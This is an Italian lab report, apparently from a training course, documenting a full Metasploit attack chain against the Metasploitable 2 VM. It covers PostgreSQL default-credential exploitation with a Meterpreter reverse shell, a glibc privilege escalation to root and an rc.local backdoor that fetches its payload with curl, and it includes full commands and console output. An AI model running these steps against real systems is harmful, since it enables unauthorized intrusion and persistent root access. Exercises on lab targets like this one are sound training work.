

REPORT S7/L3

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Obiettivo: Sfruttamento vulnerabilità PostgreSQL, Escalation dei privilegi e Persistenza.

1. Accesso Iniziale (Exploitation)

L'obiettivo di questa prima fase è stato ottenere un accesso non autorizzato al sistema target (**Metasploitable 2**) sfruttando una configurazione errata nel servizio di database.

Procedura: È stato utilizzato il framework Metasploit. Dopo aver avviato la console, è stato selezionato il modulo exploit specifico per PostgreSQL.

- **Modulo utilizzato:** `exploit/linux/postgres/postgres_payload`

```
msf exploit(linux/postgres/postgres_payload) > options

Module options (exploit/linux/postgres/postgres_payload):
=====
Name      Current Setting  Required  Description
VERBOSE    false           no        Enable verbose output

Used when connecting via an existing SESSION:
=====
Name      Current Setting  Required  Description
SESSION      no            no        The session to run this module on

Used when making a new connection via RHOSTS:
=====
Name      Current Setting  Required  Description
DATABASE  postgres         no        The database to authenticate against
PASSWORD   postgres         no        The password for the specified username. Leave blank for a random password.
RHOSTS          no            no        The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT     5432             no        The target port (TCP)
USERNAME  postgres         no        The username to authenticate as

Payload options (linux/x86/meterpreter/reverse_tcp):
=====
Name      Current Setting  Required  Description
LHOST      --              yes       The listen address (an interface may be specified)
LPORT     4444             yes       The listen port

Exploit target:
=====
Id  Name
--  --
0   Linux x86

View the full module info with the info, or info -d command.
```

- **Configurazione:**

- **RHOSTS:** Impostato sull'IP della macchina vittima (192.168.50.101).
- **LHOST:** Impostato sull'IP della macchina attaccante (Kali Linux, 192.168.50.100).
- **LPORT:** Porta di ascolto (default 4444).

Lanciando l'attacco, il modulo ha sfruttato le credenziali di default del database per caricare una libreria condivisa ed eseguire il payload, aprendo con successo la **Sessione 1** come utente limitato **postgres**.

```
msf exploit(linux/postgres/postgres_payload) > exploit
[-] Msf::OptionValidateError A SESSION or RHOST must be provided
msf exploit(linux/postgres/postgres_payload) > set RHOSTS 192.168.50.101
RHOSTS => 192.168.50.101
msf exploit(linux/postgres/postgres_payload) > exploit
[*] Started reverse TCP handler on 192.168.50.100:4444
[*] 192.168.50.101:5432 - 192.168.50.101:5432 - PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)
[*] 192.168.50.101:5432 - Uploaded as /tmp/BouyvLDD.so, should be cleaned up automatically
[*] Sending stage (1062760 bytes) to 192.168.50.101
[*] Meterpreter session 1 opened (192.168.50.100:4444 → 192.168.50.101:50491) at 2026-01-21 15:04:58 +0100

meterpreter > ■
```

```
meterpreter > getuid
Server username: postgres
```

2. Analisi Post-Exploitation (Recon)

Una volta ottenuto l'accesso limitato, è stato necessario analizzare il sistema per trovare vettori di attacco per l'escalation dei privilegi (diventare Root). Per fare ciò, è stato utilizzato un modulo di ricognizione locale.

- **Modulo utilizzato: *post/multi/recon/local_exploit_suggester***

```
msf exploit(linux/postgres/postgres_payload) > search type:post local_exploit_suggester
Matching Modules
=====
#  Name                               Disclosure Date  Rank    Check  Description
-  --
0  post/multi/recon/local_exploit_suggester .           normal   No     Multi Recon Local Exploit Suggester

Interact with a module by name or index. For example info 0, use 0 or use post/multi/recon/local_exploit_suggester
```

- **Target:** Collegato alla **Sessione 1** (utente postgres).

```
msf exploit(linux/postgres/postgres_payload) > use 0
msf post(multi/recon/local_exploit_suggester) > options

Module options (post/multi/recon/local_exploit_suggester):
Name          Current Setting  Required  Description
SESSION        yes            yes       The session to run this module on
SHOWDESCRIPTION false          yes       Displays a detailed description for the available exploits

View the full module info with the info, or info -d command.

msf post(multi/recon/local_exploit_suggester) > set SESSION 1
SESSION => 1
```

- Il modulo ha identificato diverse vulnerabilità critiche. Tra queste, è stata scelta quella relativa alla libreria **glibc** ("The target appears to be vulnerable").

```
msf post(multi/recon/local_exploit_suggester) > run
[*] 192.168.50.101 - Collecting local exploits for x86/linux...
/usr/share/metasploit-framework/lib/rex/proto/ldap.rb:13: warning: already initialized constant Net::LDAP::WhoamiOID
/usr/share/metasploit-framework/vendor/bundle/ruby/3.3.0/gems/net-ldap-0.20.0/lib/net/ldap.rb:344: warning: previous definition of WhoamiOID was here
[*] 192.168.50.101 - 229 exploit checks are being tried...
[*] 192.168.50.101 - exploit/linux/local/glibc_ld_audit_dso_load_priv_esc: The target appears to be vulnerable.
[*] 192.168.50.101 - exploit/linux/local/glibc_origin_expansion_priv_esc: The target appears to be vulnerable.
[*] 192.168.50.101 - exploit/linux/local/netfilter_priv_esc_ipv4: The target appears to be vulnerable.
[*] 192.168.50.101 - exploit/linux/local/ptrace_sudo_token_priv_esc: The target appears to be vulnerable.
[*] 192.168.50.101 - exploit/linux/local/su_login: The service is running, but could not be validated.
[*] 192.168.50.101 - exploit/linux/persistence/autostart: The service is running, but could not be validated. Xorg is installed, possible desktop install.
[*] 192.168.50.101 - exploit/multi/persistence/cron: The target appears to be vulnerable. Cron timing is valid, no cron.deny entries found
[*] 192.168.50.101 - exploit/unix/local/setuid_nmap: The target is vulnerable. ./usr/bin/nmap is setuid

[*] 192.168.50.101 - Valid modules for session 1:

#   Name                                Potentially Vulnerable?   Check Result
-   exploit/linux/local/glibc_ld_audit_dso_load_priv_esc      Yes      The target appears to be vulnerable.
2   exploit/linux/local/glibc_origin_expansion_priv_esc      Yes      The target appears to be vulnerable.
3   exploit/linux/local/netfilter_priv_esc_ipv4              Yes      The target appears to be vulnerable.
4   exploit/linux/local/ptrace_sudo_token_priv_esc            Yes      The service is running, but could not be validated.
5   exploit/linux/local/su_login                             Yes      The target appears to be vulnerable.
6   exploit/linux/persistence/autostart                      Yes      The service is running, but could not be validated. Xorg is installed, possible desktop install.
7   exploit/multi/persistence/cron                          Yes      The target appears to be vulnerable. Cron timing is valid, no cron.deny entries found
8   exploit/unix/local/setuid_nmap                         Yes      The target is vulnerable. ./usr/bin/nmap is setuid
```

3. Escalation dei Privilegi (Root)

Sulla base dell'analisi precedente, è stato selezionato l'exploit **glibc_ld_audit_dso_load_priv_esc** per ottenere i diritti di amministratore.

- Modulo utilizzato:**
exploit/linux/local/glibc_ld_audit_dso_load_priv_esc
- Configurazione:**
 - SESSION:** 1
 - PAYLOAD:** linux/x86/meterpreter/reverse_tcp
 - LPORT:** 4444

```
msf post(multi/recon/local_exploit_suggester) > use exploit/linux/local/glibc_ld_audit_dso_load_priv_esc
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
msf exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > set payload linux/x86/meterpreter/reverse_tcp
payload => linux/x86/meterpreter/reverse_tcp
msf exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > options

Module options (exploit/linux/local/glibc_ld_audit_dso_load_priv_esc):
  Name          Current Setting  Required  Description
  --            --                --        --
  SESSION       /bin/ping        yes       The session to run this module on
  SUID_EXECUTABLE  /bin/ping      yes       Path to a SUID executable

Payload options (linux/x86/meterpreter/reverse_tcp):
  Name      Current Setting  Required  Description
  --        --                --        --
  LHOST    192.168.50.100    yes       The listen address (an interface may be specified)
  LPORT    4444                yes       The listen port

Exploit target:
  Id  Name
  --  --
  0  Automatic

View the full module info with the info, or info -d command.

msf exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > set SESSION 1
SESSION => 1
```

- **Esecuzione:** L'exploit ha compilato e caricato il codice malevolo nella cartella `/tmp`, eseguendolo con successo.
- **Risultato:** È stata aperta la **Meterpreter session 4**. Il comando `getuid` ha confermato l'identità `uid=0(root)`.

```
msf exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > run
[*] Started reverse TCP handler on 192.168.50.100:4444
[+] The target appears to be vulnerable
[*] Using target: Linux x86
[*] Writing '/tmp/.zLHAfsW5ed' (1279 bytes) ...
[*] Writing '/tmp/.KC3i4a9o' (296 bytes) ...
[*] Writing '/tmp/.tKghx0E96w' (207 bytes) ...
[*] Launching exploit ...
[*] Sending stage (1062760 bytes) to 192.168.50.101
[*] Meterpreter session 4 opened (192.168.50.100:4444 → 192.168.50.101:38865) at 2026-01-21 19:02:03 +0100

meterpreter > getuid
Server username: root
meterpreter > bg
[*] Backgrounding session 4 ...
```

4. Analisi per la Persistenza

Una volta ottenuto l'accesso Root (Sessione 4), è stato eseguito un secondo modulo di ricognizione specifico per trovare il metodo migliore per installare una backdoor persistente.

- **Modulo utilizzato:** `post/multi/recon/persistence_suggester`
- **Target:** Sessione 4 (Root)

```
msf exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > search suggester
Matching Modules
=====
#  Name
-  --
0  post/multi/recon/local_exploit_suggester  .
1  post/multi/recon/persistence_suggester  .

Interact with a module by name or index. For example info 1, use 1 or use post/multi/recon/persistence_suggester

msf exploit(linux/local/glibc_ld_audit_dso_load_priv_esc) > use 1
msf post(multi/recon/persistence_suggester) > set SESSION 4
SESSION => 4
msf post(multi/recon/persistence_suggester) > options

Module options (post/multi/recon/persistence_suggester):
=====
Name          Current Setting  Required  Description
SESSION        4                  yes       The session to run this module on
SHOWDESCRIPTION false             yes       Displays a detailed description for the available exploits

View the full module info with the info, or info -d command.
```

- **Esito:** Il sistema ha suggerito diversi metodi, tra cui `exploit/linux/persistence/rc_local`, indicando che il file `/etc/rc.local` era scrivibile.

#	Name	Potentially Vulnerable?	Check Result
1	exploit/linux/persistence/apt_package_manager	Yes	The target appears to be vulnerable. /etc/apt/apt.conf.d/ and /tmp/ are writable, also found apt-get.
2	exploit/linux/persistence/autostart	Yes	The service is running, but could not be validated. Xorg is installed, possibly desktop install.
3	exploit/linux/persistence/bash_profile	Yes	The service is running, but could not be validated. Bash profile exists and is writable: /root/.bashrc
4	exploit/linux/persistence/init_sysvinit	Yes	The target appears to be vulnerable. /tmp/ is writable and system is System V based
5	exploit/linux/persistence/init_upstart	Yes	The target appears to be vulnerable. /tmp/ is writable and system is upstart based
6	exploit/linux/persistence/rc_local	Yes	The target appears to be vulnerable. /etc/rc.local is writable
7	exploit/multi/persistence/cron	Yes	The target appears to be vulnerable. Cron timing is valid, no cron.deny entries found

5. Installazione Backdoor (Rc.local)

È stato scelto il metodo **rc.local** per garantire che la backdoor venga eseguita ad ogni avvio del sistema.

- Modulo utilizzato: **exploit/linux/persistence/rc_local**

```
msf post(multi/recon/persistence_suggester) > use exploit/linux/persistence/rc_local
[*] Using configured payload cmd/linux/http/x86/meterpreter/reverse_tcp
```

- Configurazione:

- **SESSION:** 4 (la sessione Root attiva)
- **LPORT:** 4444

```
msf exploit(linux/persistence/rc_local) > options

Module options (exploit/linux/persistence/rc_local):

Name      Current Setting  Required  Description
_____
PAYLOAD_NAME          no        Name of the payload file to write
SESSION              4         yes       The session to run this module on

Payload options (cmd/linux/http/x86/meterpreter/reverse_tcp):

Name      Current Setting  Required  Description
_____
FETCH_COMMAND        CURL      yes       Command to fetch payload (Accepted: CURL, FTP, GET, TFTP, TNFTP, WGET)
FETCH_DELETE          false     yes       Attempt to delete the binary after execution
FETCH_FILELESS        none     yes       Attempt to run payload without touching disk by using anonymous handles
FETCH_SVRHOST         none     no        Local IP to use for serving payload
FETCH_SVPORT          8080    yes       Local port to use for serving payload
FETCH_URIPATH         none     no        Local URI to use for serving payload
LHOST                192.168.50.100 yes       The listen address (an interface may be specified)
LPORT                4444    yes       The listen port

When FETCH_COMMAND is one of CURL,GET,WGET:
Name      Current Setting  Required  Description
_____
FETCH_PIPE           false     yes       Host both the binary payload and the command so it can be piped directly to the payload

When FETCH_FILELESS is none:
Name      Current Setting  Required  Description
_____
FETCH_FILENAME        TjvYFXaxcfm   no        Name to use on remote system when storing payload; cannot contain spaces
FETCH_WRITABLE_DIR    ./       yes       Remote writable dir to store payload; cannot contain spaces

Exploit target:

Id  Name
--  --
0   Automatic
```

- **Esecuzione:** Il modulo ha applicato la patch al file di avvio **/etc/rc.local**. Durante il processo, la connessione originale (Sessione 4) è caduta ("Died"), ma il sistema ha immediatamente ristabilito una nuova connessione automatica.
- **Risultato:** Si è aperta automaticamente la **Meterpreter session 5**, confermando che la persistenza è attiva e funzionante.

```
msf exploit(linux/persistence/rc_local) > sessions
Active sessions
-----
Id  Name    Type          Information           Connection
--  --      --            --                    --
1   meterpreter x86/linux  postgres @ metasploitable.localdomain  192.168.50.100:4444 → 192.168.50.101:39286 (192.168.50.101)
4   meterpreter x86/linux  root @ metasploitable.localdomain    192.168.50.100:4444 → 192.168.50.101:38865 (192.168.50.101)

[*] msf exploit(linux/persistence/rc_local) > [*] 192.168.50.101 - Meterpreter session 1 closed. Reason: Died
[*] 192.168.50.101 - Meterpreter session 4 closed. Reason: Died
[*] [*] Sending stage (1062760 bytes) to 192.168.50.101
[*] [*] Meterpreter session 5 opened (192.168.50.100:4444 → 192.168.50.101:35873) at 2026-01-21 19:11:52 +0100

msf exploit(linux/persistence/rc_local) > sessions
Active sessions
-----
Id  Name    Type          Information           Connection
--  --      --            --                    --
5   meterpreter x86/linux  root @ metasploitable.localdomain  192.168.50.100:4444 → 192.168.50.101:35873 (192.168.50.101)
```

6. Verifica Accesso Futuro (Multi Handler)

Per dimostrare la capacità di rientrare nel sistema in un secondo momento, è stato configurato manualmente un listener.

- **Modulo utilizzato:** exploit/multi/handler
- **Configurazione Payload:** linux/x86/meterpreter/reverse_tcp

```
msf > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf exploit(multi/handler) > set payload cmd/linux/http/x86/meterpreter/reverse_tcp
payload ⇒ cmd/linux/http/x86/meterpreter/reverse_tcp
```

- **Esito:** Il listener ha intercettato correttamente la connessione in entrata dalla macchina vittima, aprendo una nuova sessione meterpreter come root.

```
msf exploit(multi/handler) > set LHOST 192.168.50.100
LHOST ⇒ 192.168.50.100
msf exploit(multi/handler) > run
[*] Started reverse TCP handler on 192.168.50.100:4444
[*] Sending stage (1062760 bytes) to 192.168.50.101
[*] Meterpreter session 1 opened (192.168.50.100:4444 → 192.168.50.101:42055) at 2026-01-21 19:24:41 +0100

meterpreter > getuid
Server username: root
meterpreter > 
```

Conclusioni: L'esercitazione ha dimostrato con successo l'intero ciclo di attacco: accesso iniziale tramite PostgreSQL, escalation a Root sfruttando una vulnerabilità nella libreria GLIBC e installazione di una persistenza efficace tramite i file di avvio del sistema.